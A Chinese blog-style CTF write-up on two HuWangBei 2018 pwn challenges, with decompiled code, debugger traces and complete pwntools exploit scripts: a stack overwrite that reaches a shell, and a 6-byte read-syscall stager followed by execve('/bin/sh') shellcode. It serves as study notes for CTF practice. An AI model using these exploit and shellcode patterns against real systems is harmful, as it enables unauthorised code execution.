好长时间没做CTF的题了,过段时间要去实习了,得抓紧时间熟悉熟悉以前学的,不然太菜会被鄙视的。 这篇文章写得是前段时间刚刚比完的护网杯中的Pwn和Reverse题目的WriteUp。 尽量写吧,不一定都会做,记录一下,以后忘了的时候可以快速回忆。 还有两门考试,一篇报告,惆怅,考完这两门就没课了。还算有点心理安慰。
Pwn gettingstart 0x00 file && checksec 1 2 3 4 5 6 7 8 9 $ file task_gettingStart_ktQeERc task_gettingStart_ktQeERc: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8889abb24c5308b96e8483d5dbdd1aa67fffdaa4, stripped $ checksec task_gettingStart_ktQeERc [*] '/home/.../Desktop/gettingstart/task_gettingStart_ktQeERc' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
0x01 运行程序,观察程序功能 1 2 3 4 5 $ ./task_gettingStart_ktQeERc HuWangBei CTF 2018 will be getting start after 139968784619408 seconds... But Whether it starts depends on you. csjkomso Try again!
0x02 IDA分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { __int64 buf; __int64 v5; __int64 v6; __int64 v7; double v8; unsigned __int64 v9; v9 = __readfsqword(0x28 u); buf = 0L L; v5 = 0L L; v6 = 0L L; v7 = 0x7FFFFFFFFFFFFFFF LL; v8 = 1.797693134862316e308 ; setvbuf(_bss_start, 0L L, 2 , 0L L); setvbuf(stdin , 0L L, 2 , 0L L); printf ("HuWangBei CTF 2018 will be getting start after %lu seconds...\n" , 0L L, 1.797693134862316e308 ); puts ("But Whether it starts depends on you." ); read(0 , &buf, 0x28 uLL); if ( v7 != 0x7FFFFFFFFFFFFFFF LL || v8 != 0.1 ) { puts ("Try again!" ); } else { printf ("HuWangBei CTF 2018 will be getting start after %g seconds...\n" , &buf, v8); system("/bin/sh" ); } return 0L L; }
我们可以看到,程序通过read()函数,向栈上的缓冲区复制了0x28字节的数据,然后判断if ( v7 != 0x7FFFFFFFFFFFFFFFLL || v8 != 0.1 )
,如果成立,输出Try again!
并退出,不成立则执行system("/bin/sh")
获得shell,所以只要让v7=0x7FFFFFFFFFFFFFFFLL
和v8=0.1
,则获得shell。我们往上看,buf起始地址在rsp+10h
,v7起始地址在rsp+28h
,v8起始地址在rsp+30h
,缓冲区长度为0x28,所以刚好可以构造输入的数据,覆盖v7和v8。这里的关键是0.1在内存中的形式是什么。我们通过IDA的图形视图可以很方便的找到if判断部分的代码:
双击qword_C10,可以跳转到如下所示位置
1 2 3 4 .rodata:0000000000000BF6 aTryAgain db 'Try again!',0 ; DATA XREF: main:loc_A8E↑o .rodata:0000000000000C01 align 8 .rodata:0000000000000C08 qword_C08 dq 7FEFFFFFFFFFFFFFh ; DATA XREF: main+4D↑r .rodata:0000000000000C10 qword_C10 dq 3FB999999999999Ah ; DATA XREF: main+EE↑r
可以看到0.1在内存中的表示为0x3FB999999999999Ah
,我们还可以编写一个测试程序,以Hex形式输出0.1的值
1 2 3 4 5 6 #include <stdio.h> int main () { double a = 0.1 ; printf ("%llx\n" , *(long long *)&a); }
0x03 exp 虽然这道题保护全开,但是对于利用没有阻碍。
1 2 3 4 5 6 7 8 9 10 from pwn import *p = process("./task_gettingStart_ktQeERc" ) payload = 'A' *0x18 payload += p64(0x7FFFFFFFFFFFFFFF ) payload += p64(0x3FB999999999999A ) p.send(payload) p.interactive()
0x04 总结 emmmm这道题考察的主要是0.1在内存中的存储形式,具体的可以参考下面的链接。0.1 in double precision
six 0x00 file && checksec 1 2 3 4 5 6 7 8 9 $ file six six: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=426dd1b2aab668b73945b91d45568813be69b9c7, stripped $ checksec six [*] '/home/.../Desktop/six/six' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保护全部都开启了。
0x01 观察程序行为 1 2 3 4 $ ./six Show Ne0 your shellcode: difjodkfoj Invalid shellcode!
程序让我们输入一段shellcode,不正确则退出。
0x02 IDA分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { void (__fastcall *v3)(__int64, char *); size_t v4; char *v5; size_t v6; char s; unsigned __int64 v9; v9 = __readfsqword(0x28 u); rand_mmap2(); v3 = dest; memset (&s, 0 , 8u LL); puts ("Show Ne0 your shellcode:" ); read(0 , &s, 6u LL); check_shellcode(&s); v4 = strlen (src); memcpy (dest, src, v4); v5 = dest; v6 = strlen (src); memcpy (&v5[v6], &s, 7u LL); v3(fake_stack, &s); return 0L L; }
这里有两个自定义函数,经过分析函数功能,可以知道,第一个函数,也就是rand_mmap2()函数,随机分配了两块大小一样的内存块,不过所拥有的权限的不一样的。第二个函数是check_shellcode(),是对用户输入的shellcode进行格式检查,检查通过,则程序认为是有效的shellcode。下面我们进入这两个函数看一下,首先进入rand_mmap2()函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned __int64 rand_mmap2 () { int fd; __int64 buf; __int64 v3; unsigned __int64 v4; v4 = __readfsqword(0x28 u); setvbuf(stdin , 0L L, 2 , 0L L); setvbuf(stdout , 0L L, 2 , 0L L); setvbuf(stderr , 0L L, 2 , 0L L); fd = open("/dev/urandom" , 0 ); read(fd, &buf, 6u LL); read(fd, &v3, 6u LL); dest = mmap((v3 & 0xFFFFFFFFFFFFF000 LL), 0x1000 uLL, 7 , 34 , -1 , 0L L); fake_stack = mmap((buf & 0xFFFFFFFFFFFFF000 LL), 0x1000 uLL, 3 , 34 , -1 , 0L L) + 0x500 ; return __readfsqword(0x28 u) ^ v4; }
通过搜索,我们知道,此函数从/dev/urandom读取了两个随机数,分别作为将要分配的两块内存的起始地址。这里为什么是6个字节的地址呢,因为64bit的CPU只有48位地址总线,也就是6个字节,64bit的程序只能访问2^48大小的虚拟内存。然后,分配了两块大小为0x1000的内存块,第一块dest的权限为RWX,第二块fake_stack的权限为RW。
接下来,我们进入check_shellcode函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 __int64 __fastcall check_shellcode (__int64 a1) { __int64 result; unsigned int v2; int v3; signed int i; int j; v2 = 0 ; v3 = 0 ; for ( i = 0 ; i <= 5 ; ++i ) { if ( *(i + a1) & 1 ) ++v2; else ++v3; for ( j = i + 1 ; j <= 5 ; ++j ) { if ( *(i + a1) == *(j + a1) ) { puts ("Invalid shellcode!" ); exit (0 ); } } } result = v2; if ( v2 != v3 ) { puts ("Invalid shellcode!" ); exit (0 ); } return result; }
此函数对我们传入的6字节shellcode进行了判断,shellcode应该满足的条件是,6个字节的值会不相等,并且三个字节为偶数,三个字节为奇数,才是有效的shellcode,否则退出。
我们再来看看接下来,主程序做了什么。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 v9 = __readfsqword(0x28 u); rand_mmap2(); v3 = dest; memset (&s, 0 , 8u LL);puts ("Show Ne0 your shellcode:" );read(0 , &s, 6u LL); check_shellcode(&s); v4 = strlen (src); memcpy (dest, src, v4); v5 = dest; v6 = strlen (src); memcpy (&v5[v6], &s, 7u LL); v3(fake_stack, &s); return 0L L;
首先程序分配了两块0x1000的内存,然后让我们输入了6字节的shellcode,并对shellcode进行检查。然后将src处的数据复制到刚才分配的具有可执行权限的内存块,然后将我们输入的shellcode接在src的后面,然后执行。不具有可执行权限的内存块用于伪造栈。
通过gdb调试,我们可以知道,当从/dev/urandom读出来的数值较大时,mmap随机进行分配内存块。而当二者均随机分配时,则这两个内存块有可能是相连的。这里第一次分配的内存块在高地址,用于存放shellcode,第二次分配的内存块在低地址,用于伪造栈。至于这里为什么第一次分配的内存块在高地址,而第二次的在低地址,我还没有搞清楚这里面的机制。看的资料都说是随机分配,没找到具体的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 1 、第一次调试00 :0000 │ rsp 0x7fffffffdcc0 ◂— 0x300000001 01 :0008 │ 0x7fffffffdcc8 ◂— 0xa563d35f2600 第二块02 :0010 │ rsi 0x7fffffffdcd0 ◂— 0x703df49340fc 第一块03 :0018 │ 0x7fffffffdcd8 ◂— 0xdd44ac71043c3600 04 :0020 │ rbp 0x7fffffffdce0 —▸ 0x7fffffffdd20 —▸ 0x555555554cc0 ◂— push r15 05 :0028 │ 0x7fffffffdce8 —▸ 0x555555554be8 ◂— mov rax , qword ptr [rip + 0x2014a1 ]06 :0030 │ 0x7fffffffdcf0 —▸ 0x7fffffffdd1e ◂— 0x555555554cc00000 07 :0038 │ 0x7fffffffdcf8 ◂— 0x0 ► 0x555555554aa8 call mmap@plt <0x555555554840 > addr: 0x703df4934000 len: 0x1000 prot: 0x7 flags: 0x22 fd: 0xffffffff offset: 0x0 第一块分配前 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x555555554000 0x555555555000 r-xp 1000 0 /home/buffer/Desktop/six/six 0x555555755000 0x555555756000 r--p 1000 1000 /home/buffer/Desktop/six/six 0x555555756000 0x555555757000 rw-p 1000 2000 /home/buffer/Desktop/six/six 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7fd3000 0x7ffff7fd6000 rw-p 3000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]第一块分配后 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x555555554000 0x555555555000 r-xp 1000 0 /home/buffer/Desktop/six/six 0x555555755000 0x555555756000 r--p 1000 1000 /home/buffer/Desktop/six/six 0x555555756000 0x555555757000 rw-p 1000 2000 /home/buffer/Desktop/six/six 0x703df4934000 0x703df4935000 rwxp 1000 0 第一块 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7fd3000 0x7ffff7fd6000 rw-p 3000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall] ► 0x555555554adc call mmap@plt <0x555555554840 > addr: 0xa563d35f2000 len: 0x1000 prot: 0x3 flags: 0x22 fd: 0xffffffff offset: 0x0 第二块分配后 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x555555554000 0x555555555000 r-xp 1000 0 /home/buffer/Desktop/six/six 0x555555755000 0x555555756000 r--p 1000 1000 /home/buffer/Desktop/six/six 0x555555756000 0x555555757000 rw-p 1000 2000 /home/buffer/Desktop/six/six 0x703df4934000 0x703df4935000 rwxp 1000 0 第一块 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7fd3000 0x7ffff7fd6000 rw-p 3000 0 0x7ffff7ff6000 0x7ffff7ff7000 rw-p 1000 0 第二块,地址不是/dev/urandom出来的地址,因为数值较大,mmap随机分配 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]2 、第二次调试00 :0000 │ rsp 0x7fffffffdcc0 ◂— 0x300000001 01 :0008 │ 0x7fffffffdcc8 ◂— 0xeccb72e069a9 第二块02 :0010 │ 0x7fffffffdcd0 ◂— 0xd1c2fd207617 第一块03 :0018 │ 0x7fffffffdcd8 ◂— 0x4193ac317ff71a00 04 :0020 │ rbp 0x7fffffffdce0 —▸ 0x7fffffffdd20 —▸ 0x555555554cc0 ◂— push r15 05 :0028 │ 0x7fffffffdce8 —▸ 0x555555554be8 ◂— mov rax , qword ptr [rip + 0x2014a1 ]06 :0030 │ 0x7fffffffdcf0 —▸ 0x7fffffffdd1e ◂— 0x555555554cc00000 07 :0038 │ 0x7fffffffdcf8 ◂— 0x0 第一块分配前 ► 0x555555554aa8 call mmap@plt <0x555555554840 > addr: 0xd1c2fd207000 len: 0x1000 prot: 0x7 flags: 0x22 fd: 0xffffffff offset: 0x0 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x555555554000 0x555555555000 r-xp 1000 0 /home/buffer/Desktop/six/six 0x555555755000 0x555555756000 r--p 1000 1000 /home/buffer/Desktop/six/six 0x555555756000 0x555555757000 rw-p 1000 2000 /home/buffer/Desktop/six/six 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7fd3000 0x7ffff7fd6000 rw-p 3000 0 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]第一块分配后 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x555555554000 0x555555555000 r-xp 1000 0 /home/buffer/Desktop/six/six 0x555555755000 0x555555756000 r--p 1000 1000 /home/buffer/Desktop/six/six 0x555555756000 0x555555757000 rw-p 1000 2000 /home/buffer/Desktop/six/six 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7fd3000 0x7ffff7fd6000 rw-p 3000 0 0x7ffff7ff6000 0x7ffff7ff7000 rwxp 1000 0 第一块 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]第二块分配前 ► 0x555555554adc call mmap@plt <0x555555554840 > addr: 0xeccb72e06000 len: 0x1000 prot: 0x3 flags: 0x22 fd: 0xffffffff offset: 0x0 第二块分配后 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x555555554000 0x555555555000 r-xp 1000 0 /home/buffer/Desktop/six/six 0x555555755000 0x555555756000 r--p 1000 1000 /home/buffer/Desktop/six/six 0x555555756000 0x555555757000 rw-p 1000 2000 /home/buffer/Desktop/six/six 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23 .so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7fd3000 0x7ffff7fd6000 rw-p 3000 0 0x7ffff7ff5000 0x7ffff7ff6000 rw-p 1000 0 第二块 0x7ffff7ff6000 0x7ffff7ff7000 rwxp 1000 0 第一块 0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23 .so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
我们看看,src处的数据到底是什么。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 .data:0000000000202020 src db 48h ; H ; DATA XREF: main+71↑o .data:0000000000202020 ; main+87↑o ... .data:0000000000202021 db 89h .data:0000000000202022 db 0FCh .data:0000000000202023 db 48h ; H .data:0000000000202024 db 31h ; 1 .data:0000000000202025 db 0EDh .data:0000000000202026 db 48h ; H .data:0000000000202027 db 31h ; 1 .data:0000000000202028 db 0C0h .data:0000000000202029 db 48h ; H .data:000000000020202A db 31h ; 1 .data:000000000020202B db 0DBh .data:000000000020202C db 48h ; H .data:000000000020202D db 31h ; 1 .data:000000000020202E db 0C9h .data:000000000020202F db 48h ; H .data:0000000000202030 db 31h ; 1 .data:0000000000202031 db 0D2h .data:0000000000202032 db 48h ; H .data:0000000000202033 db 31h ; 1 .data:0000000000202034 db 0FFh .data:0000000000202035 db 48h ; H .data:0000000000202036 db 31h ; 1 .data:0000000000202037 db 0F6h .data:0000000000202038 db 4Dh ; M .data:0000000000202039 db 31h ; 1 .data:000000000020203A db 0C0h .data:000000000020203B db 4Dh ; M .data:000000000020203C db 31h ; 1 .data:000000000020203D db 0C9h .data:000000000020203E db 4Dh ; M .data:000000000020203F db 31h ; 1 .data:0000000000202040 db 0D2h .data:0000000000202041 db 4Dh ; M .data:0000000000202042 db 31h ; 1 .data:0000000000202043 db 0DBh .data:0000000000202044 db 4Dh ; M .data:0000000000202045 db 31h ; 1 .data:0000000000202046 db 0E4h .data:0000000000202047 db 4Dh ; M .data:0000000000202048 db 31h ; 1 .data:0000000000202049 db 0EDh .data:000000000020204A db 4Dh ; M .data:000000000020204B db 31h ; 1 .data:000000000020204C db 0F6h .data:000000000020204D db 4Dh ; M .data:000000000020204E db 31h ; 1 .data:000000000020204F db 0FFh .data:0000000000202050 db 0 .data:0000000000202051 db 0
这里四种方法(我知道的)可以将一串16进制机器码转换为汇编代码:
1、直接使用IDA进行转换,工具条或者快捷键 2、使用nasm的ndisasm进行反汇编,ndisasm.exe -b 64 文件名,文件为包含机器码的bin文件 3、使用Pwndbg的disasm命令,disasm -c amd64 ‘str’,str为机器码16进制字符串 4、使用pwntools的disasm(),print disasm(‘str’.decode(‘hex’),arch = ‘amd64’),str同样为机器码16进制字符串
既然src的数据可以执行,我们将这串机器码反汇编,然后得到如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 1 、IDA转换.data: 0000000000202021 48 89 FC mov rsp , rdi .data: 0000000000202023 48 31 ED xor rbp , rbp .data: 0000000000202026 48 31 C0 xor rax , rax .data: 0000000000202029 48 31 DB xor rbx , rbx .data: 000000000020202C 48 31 C9 xor rcx , rcx .data: 000000000020202F 48 31 D2 xor rdx , rdx .data: 0000000000202032 48 31 FF xor rdi , rdi .data: 0000000000202035 48 31 F6 xor rsi , rsi .data: 0000000000202038 4D 31 C0 xor r8 , r8 .data: 000000000020203B 4D 31 C9 xor r9 , r9 .data: 000000000020203E 4D 31 D2 xor r10 , r10 .data: 0000000000202041 4D 31 DB xor r11 , r11 .data: 0000000000202044 4D 31 E4 xor r12 , r12 .data: 0000000000202047 4D 31 ED xor r13 , r13 .data: 000000000020204A 4D 31 F6 xor r14 , r14 .data: 000000000020204D 4D 31 FF xor r15 , r15 2 、ndisasm转换λ ndisasm.exe -b 64 lblb.bin 00000000 4889FC mov rsp ,rdi 00000003 4831ED xor rbp ,rbp 00000006 4831C0 xor rax ,rax 00000009 4831DB xor rbx ,rbx 0000000C 4831C9 xor rcx ,rcx 0000000F 4831D2 xor rdx ,rdx 00000012 4831FF xor rdi ,rdi 00000015 4831F6 xor rsi ,rsi 00000018 4D31C0 xor r8 ,r8 0000001B 4D31C9 xor r9 ,r9 0000001E 4D31D2 xor r10 ,r10 00000021 4D31DB xor r11 ,r11 00000024 4D31E4 xor r12 ,r12 00000027 4D31ED xor r13 ,r13 0000002A 4D31F6 xor r14 ,r14 0000002D 4D31FF xor r15 ,r15 3 、pwndbg的disasm转换pwndbg> disasm -c amd64 '4889FC4831ED4831C04831DB4831C94831D24831FF4831F64D31C04D31C94D31D24D31DB4D31E44D31ED4D31F64D31FF' 0 : 48 89 fc mov rsp , rdi 3 : 48 31 ed xor rbp , rbp 6 : 48 31 c0 xor rax , rax 9 : 48 31 db xor rbx , rbx c: 48 31 c9 xor rcx , rcx f: 48 31 d2 xor rdx , rdx 12 : 48 31 ff xor rdi , rdi 15 : 48 31 f6 xor rsi , rsi 18 : 4d 31 c0 xor r8 , r8 1b : 4d 31 c9 xor r9 , r9 1e: 4d 31 d2 xor r10 , r10 21 : 4d 31 db xor r11 , r11 24 : 4d 31 e4 xor r12 , r12 27 : 4d 31 ed xor r13 , r13 2a: 4d 31 f6 xor r14 , r14 2d : 4d 31 ff xor r15 , r15 4 、pwntools的disasm()转换>>> print disasm('4889FC4831ED4831C04831DB4831C94831D24831FF4831F64D31C04D31C94D31D24D31DB4D31E44D31ED4D31F64D31FF' .decode('hex' ),arch = 'amd64' ) 0 : 48 89 fc mov rsp ,rdi 3 : 48 31 ed xor rbp ,rbp 6 : 48 31 c0 xor rax ,rax 9 : 48 31 db xor rbx ,rbx c: 48 31 c9 xor rcx ,rcx f: 48 31 d2 xor rdx ,rdx 12 : 48 31 ff xor rdi ,rdi 15 : 48 31 f6 xor rsi ,rsi 18 : 4d 31 c0 xor r8 ,r8 1b : 4d 31 c9 xor r9 ,r9 1e: 4d 31 d2 xor r10 ,r10 21 : 4d 31 db xor r11 ,r11 24 : 4d 31 e4 xor r12 ,r12 27 : 4d 31 ed xor r13 ,r13 2a: 4d 31 f6 xor r14 ,r14 2d : 4d 31 ff xor r15 ,r15
我们可以看到,src处的代码功能为,将esp指向分配的具有可执行权限的内存块,并且将其他寄存器清0。执行完上述代码,就开始执行我们输入的6字节shellcode,6个字节直接获取shell是不可能的了,所以我们换种思路。通过调用0号系统调用read,将用于获取shell交互的shellcode读入一块可执行内存中,并且调用。我们从rsp开始写入数据,一直写到rip所指向的位置,就可以执行获取shell的shellcode了。
调用read的代码如下,也就是那六个字节的shellcode。
1 2 3 4 5 0 : 54 push rsp 1 : 5e pop rsi 2 : 89 f2 mov edx , esi 4 : 0f 05 syscall
接下来获取shell的shellcode,有两种方式,一种是直接使用pwntools生成的shellcode,另一种则是调用系统调用execve(/bin/sh).由于此利用方法的局限性,并不能每次都执行成功,只有当从/dev/urandom读出的两个地址都超出0x00007FFFFFFFFFFF时,mmap才会随机分配两块内存,才能满足利用的条件。
0x03 exp 下面是exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *context.clear() context.binary ='./six' context = {'arch' :'amd64' ,'bits' :'64' ,'endian' :'little' ,'os' :'linux' } if args['REMOTE' ]: Io = remote('127.0.0.1' ,10000 ) else : Io = process('./six' ) payload1 = asm(''' push rsp pop rsi mov edx,esi syscall ''' ) Io.recvuntil('Show Ne0 your shellcode:' ) Io.send(payload1) shell = asm(''' mov eax,0x3b mov rdi,rsi add rdi,0xb4d xor rdx,rdx xor rsi,rsi syscall ''' ) shell += "/bin/sh\0" payload2 = '\x90' *(0x1000 -0x500 +0x30 +0x06 ) + shell Io.sendline(payload2) Io.interactive()
0x04 总结 这道题主要考的是Linux系统下,怎么利用汇编来进行系统调用。以及使用mmap()函数,分配内存块时的策略。
